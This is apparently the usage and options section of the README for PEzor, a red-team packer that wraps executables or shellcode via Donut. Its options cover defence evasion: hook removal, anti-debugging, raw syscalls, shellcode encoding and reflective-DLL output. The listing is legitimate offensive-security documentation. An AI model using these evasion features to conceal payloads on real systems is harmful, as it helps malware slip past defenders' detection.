Upgrading from v2.x.x

The PATH variable has to be updated to use a specific commit of Donut! Check the updated install.sh script.

Usage

• PEzor -h
• PEzor <EXECUTABLE> [donut args...]
• PEzor <SHELLCODE>

PEzor help

PEzor <EXECUTABLE>

Pack the provided executable into a new one

USAGE
$ PEzor [options…] [donut args…]
# PEzor [options…] [donut args…]
OPTIONS
-h Show usage and exits
-32 Force 32-bit executable
-64 Force 64-bit executable
-debug Generate a debug build
-unhook User-land hooks removal
-antidebug Add anti-debug checks
-syscalls Use raw syscalls [64-bit only] [Windows 10 only]
-sgn Encode the generated shellcode with sgn
-text Store shellcode in .text section instead of .data
-rx Allocate RX memory for shellcode
-self Execute the shellcode in the same thread
-sdk=VERSION Use specified .NET Framework version (2, 4, 4.5 (default))
-sleep=N Sleeps for N seconds before unpacking the shellcode
-format=FORMAT Outputs result in specified FORMAT (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
[donut args…] After the executable to pack, you can pass additional Donut args, such as -z 2
